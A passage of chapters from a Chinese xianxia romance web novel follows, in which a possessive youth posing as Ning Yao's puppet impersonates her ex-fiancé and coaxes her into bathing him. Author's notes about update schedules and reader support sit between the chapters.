祁淮漆黑的眸子里掠过一丝玩味,眼底隐秘的带着几分病态恶劣,不动声色地又上前半步,恰好隔断了洛子晟投向宁瑶的全部视线,语气颇为漫不经心道:“我无所谓。” “你看,两票反对。”夜烁卿耸了耸肩,“让不了咯,洛师兄。” 宁瑶乐得隔岸观火,饶有兴致地欣赏着这对峙现场。 “宁瑶。”洛子晟不满地提高了声音。 突然被点名,宁瑶这才不情不愿地抬眼。 不得不承认,洛子晟即便冷着脸不说话,那张俊俏的少年容颜依旧是她最吃的那一款。 只是不知何时起,她看着洛子晟,脑海里却不合时宜地浮现出自己那具傀儡的模样。 若是洛子晟眼下再多两颗小泪痣,简直像极了。 祁淮将宁瑶的眸中失神尽收眼底,心底蓦地窜起一簇火苗。 阴郁地睨了洛子晟一眼,指尖收紧成拳。 ——他学得还不够像吗?看来取代得还不够彻底。 勉强压下眼中潮湿粘腻的占有欲,攥紧的指节却泄露了翻涌的心绪。 宁瑶没有移开视线,洛子晟看向她攥紧了拳头,从前郡主不是这般的。 人,有时候就是这么古怪。 得不到的永远在骚动,被偏爱的有恃无恐。 宁瑶心想,从前那些“记忆”里,全是她追着洛子晟后面跑的记忆片段。心底说不出的郁闷,说到底,她尚寸些矛盾的心理。 “洛师兄叫我了,我总得应一声。” 宁瑶仰面笑得莞尔,话音一落,手腕轻转,身形取水摘花一气呵成,特制木盒“咔哒”一声合拢。 她笑得狡黠,似是只小狐狸眨了眨眼。 “宁师妹,你要如何才肯交换?”洛子晟面色微变,仍固执地盯着她。 宁瑶若有所思,目光掠过他身旁的云冉冉。果然见云冉冉变了脸色,倒不像是因为洛子晟,反而紧盯着她手中的七色花。 按限制文套路,此刻早该走完“先上车后恩爱”的剧情,进入如胶似漆的阶段才对? 怎么这两人之间,反倒透着若有似无的疏离…… “洛师兄何必强人所难?此事不如作罢。”夜烁卿出来缓和气氛,倜傥俊逸的面上总是惯常的三分笑已敛去,玉笛在掌心,呈现出戒备的姿态。 祁淮阴郁眸底压制病态的潮湿。 他的小猫被逼迫了。 阴鸷的目光飘向洛子晟,眸中戾气翻涌。 若不是在场人多,他真想放出灵蛇将这人吞吃入腹。 那样的话,这张脸,这世间,便只该有他一人存在。 洛子晟向前逼近一步,衣袂在风中猎猎作响:“宁瑶,你不是一直想要个解释?” 宁瑶抬起眼帘,看着他此刻志在必得的神情。 她忽然觉得有些好笑,微歪头勾唇,尾音轻轻扬起,故作没听见:“什么?” 听她的声音似有一根羽毛轻缓搔过洛子晟心尖,陌生的悸动了一瞬。 “你要的退婚理由,我现在就可以告诉你。” 宁瑶神色一怔,这话本该像根针扎进心口,可她佯装的极好,连眉梢都没动一下。藏在袖下的指尖却微微收拢,在掌心留下几道浅痕。 她展颜一笑,笑意未达眼底:“可我不愿听。” 既然憋屈忍让和肆无忌惮摆在面前,她偏要选第三条路,“窝行窝素”。 她是“恶毒女配”呀,怎么能让男主得逞了? 利落地将木盒放入腰间的储物玉佩,她朝那两人挥了挥手,语速轻快:“回去按老规矩分!”话音未落,指尖传送珠应声而碎。 在鹅黄色倩影即将消散的刹那,她回眸特意朝洛子晟眨了眨眼,一字一句清晰道:“不、给、机、会。不、愿、听。” 身影消散的瞬间,场面上一时寂静无声。 谁要生闷气谁生去,反正她的乳腺也是乳腺。 宁瑶倦意如潮水漫上,可她离开的脚步却愈发轻快。 转眼已穿过白玉广场,朝着天道峰方向而去。 得快点回去。 她的傀儡还在小院等着了。 与其对着那样一张冷脸生闷气,不如回去看看祁淮养眼。 几人尚在怔忡中,祁淮忽然脸色骤变,低声呢喃,“糟了。”传送珠在他掌心化作齑粉。 * 拖着快散架的身子挪回小院,宁瑶连脸上营业式微笑都懒得挂了。毕竟演给谁看呢,她的傀儡只是死物,无需她刻意应付。 有气无力地用推开院门,果然瞥见一道人影快步迎上来。 她惯性般往前一倾,几乎要栽进对方怀里,却在最后一秒猛地刹住脚步。 “累死我了”宁瑶拖着尾音抱怨,抬起委屈的神色,却僵在原地。 完了,现在该用什么表情糊弄过去? 明御看着自己莫名其妙张开的双臂,耳根骤然烧得通红,差点漏拍的心跳死死按回胸腔。 宁瑶迅速后退半步,目光勉强收敛外溢的情绪,目光扫过他泛红的耳尖,面露狐疑,“三师兄,你怎么在这里?” 明御良久没有说话,他生的像个白面似的小神仙,向来满是冷意傲气的面容,此刻硬生生地涨得通红,连眉间那点朱砂痣都黯然失色。 明御梗着脖子,不敢与宁瑶对上视线。憋了半晌,终于从齿缝里挤出两个字:“抱、歉。” “嗯?”宁瑶故作没听到,坏心眼地凑近半步。 她没想到明御反应之大,忙不迭慌张地连退三步,“太、太近了!” 宁瑶抱着胳膊看他手足无措的样子,一时不知该做何表情。 幸好周围无人看见,明御这样,这场景,活像话本里“恶霸”调戏良家妇男。 可惜,她现在累得连演恶毒女配的兴致都没有。 “前些时日,那些,是我酒后失言才传出来……”他嗓音越说越小,面上红晕褪去,带着一丝别样的心虚,“反正事成定局,师妹想如何都可以。” “所以呢?你有这好奇心,调查我做什么?”宁瑶抱臂,无奈地撇了撇嘴,她倒要听听他能说出了什么一二三来。 明御突然深吸一口气,才给出一个宁瑶挠破脑袋,也没想明白的理由。 “我曾无意在师尊桌上见过一张画像,好奇展开一看,画中人物神似于宁师妹。”他停顿片刻,像是下定了决心,压下声音,“半月前,一时好奇,我便去了羽安国。” 宁瑶明显愣了一下,收敛神情,严肃道:“然后了?” 岳伍藏一张画像做什么?不过这家伙酒后失言,倒也没有全吐露而出。 明御神色微敛,抱臂故作冷哼一声,“画像所画之人,正是羽安国已逝的六公主,羽青月。” 宁瑶脑袋里“轰”地一声,听见娘亲的名字时怔了怔。 左长泽曾传信说过,入山的梧桐令牌是公主娘亲的旧友所备,再想多问,却什么也打听不到了。 “我知道了。” 见她并未继续追问,明御眯了眯眼,脖颈微微梗起,“你放心,这事我绝不会往外说,宁师妹可信我?” “嗯,信你。”宁瑶敷衍地蹙了蹙眉。 明御身形一僵,慢吞吞转过去,察觉她语气里的漫不经心,又停下脚步回过头。 “师妹,你放心,这次算我明御欠你一回,日后……” 他想说“日后任你处置”,可话到嘴边又觉得不对味,硬生生咽了回去。 明御脸颊泛起不自然的烫意,梗着脖颈,大步流星地走了。 宁瑶无奈地摇了摇头。 暗处阴影里,祁淮匆匆赶回,恰好撞见这一幕。 他眸底的阴郁几乎压不住,指腹摩挲着四角铃铛,无声地扬起一抹病态的冷笑。 他取出一颗从不离身的记事珠,那是他从苗疆带出来的宝物,以灵力为墨,一笔一画郑重写下:癸卯年,九月初七,她为那个可恶碍眼的旁人蹙了眉。 将珠子收回怀中,祁淮故意弄出些许声响。 叮铃、叮铃…… 熟悉的铃音打断了宁瑶的思绪。 她转过头,就见祁淮立在屋檐下,深蓝长袍被风轻轻拂动,发间银饰随着小辫妥帖的垂落发间,并未带她赠的面具。 不知祁淮已在那儿站了多久,看到了多少。 “祁淮,我回来啦!” 宁瑶唇角不自觉扬起,还未走近,熟悉的草木清香迎面而来,苍白微凉的指尖轻轻拉住她的手臂,随即得寸进尺地将整个身子偎了过来,发辫蹭过她的颈侧。 宁瑶还没反应过来,平日里只会听令行事的傀儡少年祁淮,竟胆大包天地伸手搂住了她。温凉不似常人的体温透过薄衫传来,宁瑶当场卡壳。 可不知怎的,她隐约觉得,今日这气息里似乎掺进了一丝说不清的异样。 难不成傀儡会因长时间不见主人,有这程序? 他的双臂逐渐收紧,将怀中少女圈禁在自己的领地里。 就在宁瑶埋首于他胸前疑惑之际,院门外去而复返的金衣修士顿住脚步。 半掩的木门后,祁淮眼底掠过一抹得逞的狡黠,下颌亲昵地蹭过她的发顶:“回来便好。” 洛、洛子晟? 明御僵在原地,他原是想折返询问宁瑶天一秘境试炼之事,却撞见这般亲昵景象。 两人相依的身影,似叠成旖旎的画卷,明御耳根发烫,心头莫名涌起说不清道不明的滞闷,和发现一桩秘密的窘迫。 脑海不自觉联想到她与洛子晟曾有婚约一事,莫不是…… “告辞”两字没来得及挂在嘴边,明御步伐匆匆,几乎是仓皇转身消失在门外。 宁瑶听到奇怪声响想要回眸,但整张脸都按埋在祁淮怀里,鼻尖全是他身上的气息,声音全是闷闷的:“祁淮,你抱得太紧啦,松松手好不好?” 祁淮歪了歪头,发辫银饰发出细碎的轻响,一时扰乱她的思绪,待一人消失,他手臂的力道终于松了些许。 宁瑶抬起眸,发现他这发辫上的铃铛似乎时响,时不响,好像能被人控制似的。 指尖一转,轻轻地点落在祁淮的眼尾。 他顺从俯身,任由她的手触及,像是心甘情愿被人牵引的“傀儡”。 宁瑶翘起唇角一笑,满意地收回手。 “主人这次去秘境,可寻到什么宝贝?”祁淮状似无意地问着,指尖摩挲着腰间的四角铃铛。 宁瑶眨眨眼,开始绘声绘色地讲起天一秘境见闻,讲到了夜烁卿,怀无岐唯独刻意略过与洛子晟相遇那段。 她只说有人想用七色花与她交换物件,被她随口敷衍了过去。 听到她只字不提那个名字,祁淮眼底的笑意逐渐凝固,面上依旧是标准无害温良的浅笑。 半垂长睫,堪堪遮住翻涌的暗潮。 小猫不乖。 就这么护着那个人? 连名字都不愿让他知晓? 酸涩的妒意,如凭空而现的藤蔓,缠绕心尖。心底暗芒幽深,几乎将他吞没。 那藏在袖中的手收紧,心底发闷,带来他从未品尝过的艰涩,眸色渐渐暗沉。 “总算回来啦。”宁瑶全然未觉,舒展着走近屋内,身子往躺椅上一倒,轻飘飘落在柔软的锦毯上。 “主人。”祁淮走到她躺椅一侧,试探性问道,“七色花,你打算如何处理?” 宁瑶不假思索:“自然是平分,不过倒是忘了问,岐师兄住在天道宗何处。” “不如,”祁淮忽然俯身,弯唇暗自轻笑,“主人,不然此事交给我?” “你?”宁瑶仰面一笑,“不是不信你,但天道宗这么大,你认路吗?” “既是新入门的弟子,总能问到的。”祁淮说的很轻,语气却坚定。 既然给他,他住哪自然知晓。 “妙啊。”少女顿时眉眼弯弯,从腰间玉佩里取出两只木盒递过去,“正好我补个回笼觉,喏,这是两人份的,你就送一趟了。” “是。”祁淮接住尚带体温的木盒,指腹反复摩挲着盒面。他换了衣裳面具,轻车熟路,不过半柱香后便通过传送阵抵达了阵峰。 夜烁卿捏碎传送珠归来,便见戴着恶鬼面具的少年脚步轻盈而来,木盒御风送入他怀里。 “我来替她送这一部分的七色花。” “替宁师妹?”夜烁卿神色略显古怪,“怀师弟,何时与宁师妹这般熟稔?” “自然,不可为外人说道。”祁淮忽然低笑出声,漫不经心地掀开眼帘。 他语气满是病态的玩味,那隐秘藏起的兴奋暗涌。 * 宁瑶从睡梦中悠悠转醒,肩头传来不轻不重的按压感。她舒服地眯起眼,惬意地像只被顺毛的猫,无意识地用脸颊蹭了蹭那双微凉的手。 祁淮指尖的温度恰好中和了她睡醒后的燥热。 自从九幽灵火体觉醒后,她睡梦中也会不自觉修炼,每次醒来都像经历了一场酷暑,哪怕如今已是秋日,这股从经脉里透出的热意仍挥之不去。 “嗯……”宁瑶发出满足的喟叹。 这声音和小动作极大取悦了祁淮,他唇角几不可察地扬起,又迅速压平。 不够,还远远不够。 ——主人,我心口的燥热还未平息。 祁淮忽然俯身靠近,手中动作未停。馨香萦绕鼻尖,在宁瑶抬眼的刹那,生硬地移开视线,若无其事地退开些许:“主人,东西已经交给他们了。” 宁瑶满意地点头,突然翻过身,手肘支着榻,托腮笑看他:“交给你办事,我最放心了。” 目光掠过少年精致的眉眼,她心情愈发愉悦。 祁淮微微偏头,发间银铃轻响。 “主人要不再歇会儿?” “不了。” 他眼底飞快掠过一抹失望之色,宁瑶已起身吩咐道:“帮我梳妆,今日要去灵瀑练鞭。” 祁淮应是,指尖轻轻勾住她一缕发丝,给她极快编了小辫。 宁瑶对着铜镜眨了眨眼,镜中的祁淮依旧垂着长睫不说话,她心头莫名心虚亏欠,指尖卷着发尾绕了绕。 “你今日……” “主人,我就在院里。” 她下意识摸了摸鼻尖,声音也不自觉软了几分:“好。” 理了理鹅黄裙摆,确认仪态无失,宁瑶笑着招了招手,转身踏出院门。 祁淮望着,那抹他总在一次次送别,一次次遥望的鹅黄色人影消失在屋外。 转身收回幽暗的目光,指尖轻划过梳妆台,看着铜镜中的脸颊思索一二。法力流转,眼下两粒小痣悄然隐去。 往日那些个弟子选什么修炼的都有,刀枪剑戟,宁瑶偏选了长鞭。 宁瑶来到灵瀑前,却有一人负手而立。她一出现,那人也悄然向她走近。 作者有话说:[让我康康]加更奉上,来迟许多天~本章评论区会抽小宝发红包。 下次加更在777瓶浇灌,作收到100同样加更[眼镜]小宝们,有兴趣可以看下专栏预收文《诱骗黑莲花苗疆少年后》[狗头叼玫瑰]作者收藏也很重要,许愿作收100收,目前进度还差40多个(老实人微笑[眼镜])《 》 30-40 第31章 宁瑶歪着头,打量那道渐行渐近的浅蓝色身影,想起七色花一事,环起双臂,朝他扬起一个勉强灿烂的笑:“洛师兄,你也在这儿呀?” 祁淮见她面色笑意,嘴角抽了一下,指节不着痕迹地收紧,眼底翻涌着近乎病态的炙热,出口却是刻意模仿的清冷音色:“嗯。” 宁瑶客气地颔首,与他擦肩时,一缕似有若无的冷香掠过鼻尖。 她下意识抬眼,却见对方不着痕迹地后退半步,墨色眸子里仍是清冷克制。 少女不由一怔。 果然还是这样,无论她如何靠近,洛子晟永远都是这副云端白雪似的模样。 她没好气地横去一眼,正撞入祁淮深潭般的眼底。 空气凝滞一瞬,宁瑶收回视线,头也不回地往前走。 祁淮几乎要伸手去拦。 他侧过眸,目光不受控制地追随那道鹅黄色的身影,却又在想起自己此刻身份时生生顿住脚步。 他原以为,小猫至少会为“洛子晟”停留片刻。 灵瀑一旁石台上,宁瑶手腕一振,长鞭破空而出,携着的火灵气将四周水幕蒸腾成氤氲白雾。 正要收势,却见“洛子晟”忽地上前,微凉的指腹轻托住她手腕。 “这里发力不对。”祁淮压低的声线学得惟妙惟肖,他目光不由自主看向她白皙的脖颈。 宁瑶身子几不可察地一僵,依言调整动作,长鞭再度挥出时却不由自主走了神。 多年前她也曾这样缠着洛子晟学鞭法。 那时少年已是同辈中鹤立鸡群的存在,总是不耐烦地想逃去练骑射。 每每这时,她只要稍稍蹙起眉头,他就会无奈地停下脚步,认真纠正她的动作。 此刻这般放下平日身段的指导,倒让宁瑶忍不住多看了两眼。 就是片刻的恍惚,祁淮呼吸一乱。 一种名为“嫉妒”的毒焰吞噬着他的理智,懊恼为何要扮作洛子晟的模样。 可捕捉到她脸上一闪而过的怔忪,心底又升起一种扭曲的欢愉。 如果是做“洛子晟”就让她情绪异样,那他是否要一直坚持下去? “先走了。”祁淮陡然松了手,负在身后的拳头攥得发白,退开的步伐仓促得近乎狼狈。 宁瑶望着近乎逃也似的背影,心头莫名烦闷。 不足一刻钟,转身又见丛林深处转出一抹浅蓝,真正的洛子晟执剑而立,眉眼凝着霜雪,宛如一幅水墨画。 宁瑶正欲移开视线,那一袭蓝衫却倏然逼近。 少年垂首堵在她面前,整个人像根扎了根的木桩子,目光死死锁住她。 “我脸上开花?”宁瑶挑眉,走到一旁竹林的石椅坐下。 “我想不明白。”洛子晟声音闷闷的,抬脚急切的跟上她。 “这世间想不明白的,还少吗?” 洛子晟突然抬手撑住竹干,惊起三两只翠鸟,视线紧紧锁在她身上,“为何不再像从前那般追着我唤子晟?” “苦海无涯,回头是岸。我如今啊,是想开了。” “想开什么?”洛子晟逼近半步,松香混着一股冷意漫过来。 宁瑶嘴角弯起狡黠的弧度:“恶心你一次,我就够本了。” 她眨了眨眼,又怕洛子晟动怒,自己是真打不过,灵敏往后退了几步。 这套行云流水的动作倒与从前别无二致,说蠢不算蠢,偏偏透着想让人逗弄的心思。 洛子晟忽地轻笑。 “见鬼了……”宁瑶盯着他唇角梨涡,扯着自己衣袖嘀咕,“别以为我现在怕你洛子晟。” 洛子晟敛了笑意。 宁瑶从来如此,唯有当真时才会连名带姓唤他。 洛子晟转身,音色清冷:“且走着瞧。” 宁瑶头一扭,二话不说,朝着与他相反的方向大步离去。 洛子晟走出数丈,未听见熟悉的脚步声追来,忍不住回眸一望。 离去的鹅黄色背影映入眼帘时,他清冷眸底始终维持的克制,终是难以察觉地裂开了一丝细缝。 宁瑶回到住处时,心口堵着一团棉絮似的闷气。 连灌了两杯凉茶,在屋里来来回回转了好几圈,那一口气始终不顺。 祁淮静立一旁,目光无声地追随着她躁动的身影。 他实在不明白,为何她总能为了旁人,生出这般多他无法理解的情绪。 他上前一步,轻轻扣住了她的手腕。 指尖传来的肌肤细腻温软,这触感他已暌违太久。 她脉搏跳动得又急又快,与他缓沉的节奏截然不同。 属于宁瑶的体温正传来,勾得他心口微微发麻。 祁淮甚至荒唐地想剖开自己的胸膛,将那颗不听话的心按上一按,是不是这样,就能与她跳得一致。 宁瑶正烦闷,手腕却被沉默的傀儡牵住。 一抬眼,对上那张与洛子晟神似的脸,心头莫名一梗,压低声音:“怎么了?” 祁淮眼底灵光微动,再抬眼时已是一片纯然无辜,嗓音故作软了几分:“主人,傀儡每月总有几日会陷入疲倦期,需得主人亲自帮忙才能缓解。” “帮什么?”宁瑶眨了眨眼,将他上下打量。 意识到她忽略了关键细节,祁淮微微歪头,发辫间的银饰随之清脆作响。 他凑近些许,“届时会行动不便,祁淮需要主人,亲自为傀儡净身洗涤。” 宁瑶初时还未反应过来,转念细想明白他话中深意,脑袋里“轰”的一声,脸颊瞬间烧了起来,唇瓣不自觉地抿了抿。 让、让这傀儡顶着这样一张脸……沐浴? 还要她亲手来? 这合适吗?! “你从前怎么不说?”宁瑶强自镇定,梗着脖子维护自己身为主人最后的尊严。 “主人,”他语气温软无害,“这是使用满三个月后,才会出现的征兆。” 说话间,他牵引她的手,引向自己颈侧。 宁瑶的手又小又软,带着暖融融的温度。 而他微凉苍白的肌肤触手生温,温度似乎确实比往常更低了些。 “主人感觉到了吗?” 宁瑶指尖触及他颈侧的皮肤,那似有若无的凉意让她心头一颤。 可…… 可她从前也未曾摸过傀儡人啊。 宁瑶从未越过主仆之界,更别说这般触碰一具与真人无异的傀儡身躯,一时眼神飘忽,不敢与祁淮对视。 却未察觉,一双蕴藏着恶劣玩味与潮湿欲念的眸子,正一眨不眨地将她的窘态尽收眼底。 祁淮见宁瑶果然上钩,险些压不住上扬的嘴角。 这下,他的小猫该没心思再去想那个洛子晟了。 宁瑶强作镇定,声音却有些不稳:“所以……你这是,特殊时期到了?” “嗯,”祁淮声线带着几分恰到好处的虚弱,无辜眨眨眼,“浑身都有些僵了。” 作者有话说:连续更了几天,三次元又降薪,数据又焦虑。今日日更的少一点,理一下文章的思路[爆哭][化了]ps:本来想修文,又怕大家等久,准备等完结后再修文,请大家继续支持正版[狗头叼玫瑰] 第32章 见状宁瑶伸手,赶紧扶稳他。 祁晏就势将下巴抵在她颈窝,白日里他便注意到这里。 她肌肤白皙,脖颈线条纤细,青蓝色的血脉在薄薄的皮肤下微微跳动。 像极了藏在绒毛底下的小猫心脏,一下一下,散发出蓬勃的生命力。 他贪婪地,恶劣地,又隐秘地在心底叫嚣着占有,最后小心地靠近。 可她此刻清醒着,那点疯劲只能悄然藏起来,用微凉的脸颊似有若无地蹭了蹭这处温热的肌肤。 触及生温,这样他也有小猫的温度了。 宁瑶扭头,见他俨然一副虚弱到昏厥的样子,想到后院的灵池,几乎是这半扶半抱地架起他“僵硬”的身子,有些吃力地推开了房门。 室内灵池雾气氤缭绕。 祁淮将大半身子倚在宁瑶肩上,力道把握得恰好。 既显得虚弱,又不至于让这警觉的小猫起疑。 宁瑶扶着他坐在池边玉椅上,目光在氤氲水汽的灵池与少年齐整的衣襟间辗转,最终认命般小声问:“我给你脱?” “嗯。”祁淮仰起脸,嗓音压得低,眼尾泛起的红晕秾丽,带着几分病态美,看起来好不可怜。 宁瑶指尖触到衣襟时犯了难,她想到什么忽然凑近问:“傀儡和人的身体构造是一模一样吗?还是说只有脸……” 祁淮故作懵懂,鸦羽般的长睫眨了眨:“一模一样,哪里都……” 微凉的唇猝不及防擦过掌心,宁瑶慌忙伸手捂住他的嘴,打断了祁淮剩下的话。 这唇瓣的触感,让她想起昨日偷吃的玫瑰冻。 微凉,Q弹。 她手心莫名发痒,她捏了一下傀儡翕动的唇瓣,“别动。” 这声命令后,祁淮果然不动了。 少年僵住身子,并非顺从。 他是怕再多一瞬逗弄,他反而会忍不住咬上近在咫尺的纤白手指。 宁瑶不好意思地轻咳一声,飞快抽回手,耳尖红得能滴血,“好了,你不必再说,我大概知道了。” 看着原地踱步三圈才下定决心的少女,祁淮眼底掠过狡黠的光。 直到宁瑶站定在他面前,做好思想建设:“祁淮,闭上眼。” 祁淮一言不发,顺从地阖眼,任由黑暗放大所有感官。 黑暗中,他的神识能清晰感知到一道轮廓在靠近,当温软指尖笨拙解着腰封,他悄然收回神识,任由隐秘的角落泛起病态的欢愉。 宁瑶扯了扯,又琢磨着他的腰封。 很紧,她好废了一番功夫才懂得诀窍。 早知道便不该买太繁琐太华丽的衣袍装点傀儡,她苦哈哈一笑,现如今得一点点给傀儡脱下来。 宁瑶无奈地撇了撇嘴。 不能不穿吧,那岂不是…… 她轻咳一声。 柔软温热的手落在他腰间,一路游移着攀上肩头。 视线消失,触感愈发清晰鲜明。 那股暖意从宁瑶掌心渗入肌理,竟一路烧灼着向下蔓延而去。 他自控力向来好的很…… 祁淮边想,喉结边不自觉地滚动。 这一下,他咽得又重又急。 声响在安静旖旎氛围中太过突兀,宁瑶抬眸不见异常,还只当是她这一时紧张产生的错觉。 她正费力地解着他腰间繁复的银饰腰封,不慎扯到了他发间的小辫,银铃骤响,叮叮当当一串清响。 宁瑶完全发挥了生前大学生记忆里的本能,先给祁淮来了一句:“抱歉。” 话音刚落,宁瑶惊觉失言,却见祁淮偏过头去,肩头微颤,这次轮到他唇角压制不住笑意,很轻很缓地“嗯”了一声。 宁瑶脸颊羞迥的一红,从前怎么没发现,这傀儡不仅脸被捏的好看,声音也是极为好听。 耳朵都是痒痒的。 宁瑶揉着发痒的耳垂抬头,却见少年垂首,小辫妥帖地垂下,银饰并未声响。 一双漆黑幽深的眼眸不知何时已睁开,将她的慌乱尽数吞没。 她慌忙去遮他眼睛,“不准看,别睁眼。” “好。”他语气纵容。 见傀儡浑不在意,没当一回事的模样,宁瑶气得捏住他脸颊。 如想象中那般,带着微凉的触感。 傀儡是死物,宁瑶这般劝慰自己。 宁瑶半眯着眼,指尖解开他外袍最后一根丝绦,像剥洋葱般将外袍层层褪开。 祁淮慵懒地陷在檀木椅里,感受着衣料滑落至腰际。 只穿着里衣松垮地勾勒出线条,分明是傀儡,肩颈腰握线条却贲张着蓬勃的……朝气。 她居然在一个傀儡身上感觉到了生命力。 这词用在傀儡上能恰当嘛? 自以为一个傀儡的漂亮外表,已是傀儡师花了不少心思。 毕竟重功夫该在颜值上,便不太可能再突出身体其他部位。 宁瑶心底肯定:脱了,多半是只细狗。 此刻她呼吸一滞。 说好的细狗呢? 眼前傀儡少年宽肩窄腰的漂亮骨架,肌理在薄衫下若隐若现。 穿衣显瘦,脱衣有肉。 她对一个傀儡,欣赏的,脸颊都诚实地烧了起来。 “不亏不亏。”她垂眸,视线不知到要瞟向哪里,心底暗自表达肯定,羞涩的眼尾洇着薄红。 这花了她一万灵石买的傀儡,花的太值了。 连腰窝都雕得这般蛊惑人心,某些不合时宜的念头,不知不觉得涌上了脑袋。 宁瑶甩了甩头,像是要把那些乱七八糟的念头都甩出去。 指尖悬在他里衣的系带上方,伸出去,又蜷缩收回来。 这阵香风随着动作,若有若无地在祁淮鼻尖飘来飘去。 他微歪头,唇角弯起一抹难以察觉的弧度,不着痕迹地向前凑近,凑上她微颤的指腹。 当宁瑶的指腹终于碰到衣料,一股微凉的体温渗透过来。 既然有跨出了第一步的勇气,自然第二步似是理所当然了些。 “我要脱了哦。”她欲盖弥彰似的小声嘟囔。 脸颊轰地一下烧起来,心口怦怦直跳,手上动作却快过思绪,唰地一下就解开了他的上衣,但只是敞开没有给他褪下。 少年身躯线条流畅,六块腹肌不多不少,难怪把她按压在自己胸口,她觉得自己像是压在硬板上。 这身材…… 她强忍着挪开目光,视线鬼使神差地下移,一落到裤腰上,她顿时犯了难。 她总不能,把祁淮的裤子也…… 对一个傀儡害羞与不安,她强压下喉间的紧张,干咽了一下。 心底莫名泛起一丝隐秘的期待是怎么回事? 不行不行,打住! 这跟调戏一个AI有什么区别,她可是有原则的人。 祁淮将她所有的犹豫尽收眼底,薄唇微勾,还未出声,宁瑶便手忙脚乱地半扶半抱,将他从池边台阶挪进温热的水中。 扶着“僵硬”的傀儡在池中坐下,温热的池水恰好漫过他线条分明的胸脯。 水汽氤氲如纱,勾勒出那对好看凸起的锁骨,在波光里极为晃眼。 宁瑶无意识咽了咽喉咙,一股没由来的渴意攀上舌尖。 一定是被蒸腾的热气熏的。 宁瑶抬手扇了扇风,拍了拍脸颊,不然怎么脸颊也跟着烫了起来。 幸好傀儡闭着眼看不见。 “坐好不许动。”宁瑶强自镇定,声音却带着一丝不易察觉的颤抖,“带子解开了,你自己,自己洗洗。眼睛,眼睛绝对不许睁开哦。” 她打定主意,等会若是要她脱,直接扯了裤头就跑。 管他白的、黑的,她眼睛……不可以看到黄的。 宁瑶暗自给自己打气。 “主人莫非还在怀疑这傀儡之身,不如亲手验证一下?” 祁淮起了坏心眼,眼底掠过一丝的恶劣被薄薄的眼皮遮盖。 指尖准确轻扣住宁瑶的手腕,牵引着微颤的掌心,去若有似无地擦过紧实肌肤。 相触的刹那,祁淮呼吸一滞。 触碰于他亦是煎熬酷刑,圈握她手腕的力道不自觉地寸寸收紧。 “停停停。”宁瑶慌得抽回手,向后躲,足跟脚滑,整个人险些仰倒进水池。 祁淮托住她后脑,她顺着这股力道跌坐他腿上。 虽隔着薄薄里衣,微凉体温,混着水池的热意,透衣而来。 宁瑶膝头不慎撞上某处隐秘,不可名状的地方。 惊得她几乎站起来。 “主人……” 耳畔传来祁淮倒抽气的声音,哑得厉害。 “没把你压坏吧?”宁瑶心下暗慌,有些担心。 完了完了。 特殊材质的傀儡在特殊时期压坏了,她不知该怎么修补。 “无妨。”祁淮从未深思过,他引以为傲的自控力怎么在她面前差点土崩瓦解。 可宁瑶像只受惊的小猫,睁着澄澈眼眸满含担忧关怀,某种病态的欢愉自心底升起。心底被取悦般,眼尾不自觉漫上绯红。 宁瑶见他眼尾泛红,一副“可怜兮兮”的模样,心底自责愧疚更甚。 “若是真坏了,我定帮你修好,别说是那里,保管让你重振雄……”她感觉哪里不对劲,咬住下唇,赶紧闭了嘴。 祁淮低着头,唇角压着一缕藏不住的笑,眼皮轻颤,几次险些睁眼瞧她,终是忍住了。 “我看你手还能动,自己脱里衣吧。”宁瑶慌忙转移话头,耳根微微发烫。 “手指是能动……”他声音故意拖得绵长,带着点虚弱样子,“不过没太过力气……” 一听见,宁瑶松了口气,“好,那你自己脱。” 祁淮倒是不急。 小猫嘛,吓狠了可是要跑走的。 临走前,还得给他扇来几记硬邦邦的“猫猫拳”。 趁着祁淮闭着眼,慢条斯理褪去上衣的间隙。宁瑶转身抓过浴巾,眼神定在虚空中的一点,坚定得仿佛要英勇就义。 宁瑶抿了一下唇,这才目光下移在他脸颊,澄澈不含杂念的目光,替他擦拭脸颊。 不够。 这样还远远不够。 作者有话说:宁瑶:笑而不语[化了]祁淮:猫好,除了我,其他人坏 第33章 祁淮毫无预兆地倾身靠近,宁瑶背脊绷紧,手里的布巾胡乱在他颈侧上抹了两把。 她乖乖侧坐着,擦拭至腰腹时不自觉地干咽了一下,声音闷闷的:“傀儡这种特殊时期,僵硬的泡几日?” “三日。” “才三日啊,那还好。” 宁瑶眨了眨眼,视线飘忽不定,擦完上半身后,目光总是不由自主地被水珠滚过的腹肌勾走。 布料浸湿后贴得太紧,肌理线条若隐若现,甚至比直接裸露更让人心慌意乱。 祁淮忽然觉得失策,回答得时间太短了。 宁瑶眸光盯着他丝毫没有要褪下的长裤,想起刚才被他牵引着险些碰到某处,慌忙把毛巾塞回他掌心。 “主人我爱莫能助!你自己随便擦擦,大不了洗完,我再给你捏个洗尘诀。” 宁瑶说完就要起身,祁淮忽然将凉意的指尖牵住她手腕,轻轻晃了晃。 他闭着眼歪头轻笑,发间银饰随着动作发出悦耳铃响,像是某种无声的提醒。 宁瑶的视线不由自主地落在他脸上。 少年眉眼在氤氲水汽中显得格外柔和,唇角噙着温良笑意,雌雄莫辨的美貌让人晃神。 她注意到他实在很高,自己侧坐着都得仰头才能看清他棱角分明的下颌线。 “好的,主人。”他乖巧应答,忽然又闭着眼摸了摸垂在胸前的发辫,带着点鼻音嘟囔,“可是我的头发……” 宁瑶只犹豫了一瞬,就被他这副全然依赖的模样击中心脏。 认命吧,谁让她是傀儡的主人呢? 想起前世养棉花娃娃的闺蜜,天天给娃娃换装梳头贴亮片,而祁淮从来都没麻烦过她…… 她心里突然冒出点微小的愧疚。 “这好办。” 哗啦一声从水中站起,浸透的外衣沉甸甸贴着身子。 祁淮始终闭着眼,最初那点不安渐渐化作安心,她撸起袖子,开始小心拆解他发间缀满银铃的小辫。 叮叮当当的铃响不绝于耳。 叮铃、叮铃。 银铃叮咚作响,如同少年克制的心跳。 在宁瑶看不见的角度,祁淮唇角始终噙着笑,指节按着心口感受胸腔里陌生的悸动。 在苗疆,古老训诫是:青丝千结,唯配偶可解。 温泉水汽任然蒸腾,他闻到水汽里她周身让他躁动的馨香。 两人体温似在池水交融趋于一致,他清晰感受到沉寂低缓的心跳越来越快。 欢愉着,享受着。 只有在宁瑶身边,他才能尝到这些陌生又鲜活的情绪。 宁瑶见他闭目舒眉的模样,舀起温水细细冲洗如墨的长发,“祁淮,你的头发又柔又顺又多,不干不燥还不打结。” 祁淮始终闭着眼,忽的压低嗓音:“傀儡师的秘术,据说,要收集死人头发才能以假乱真。”他悦耳磁性声音似阴沉,似酥酥麻麻的。 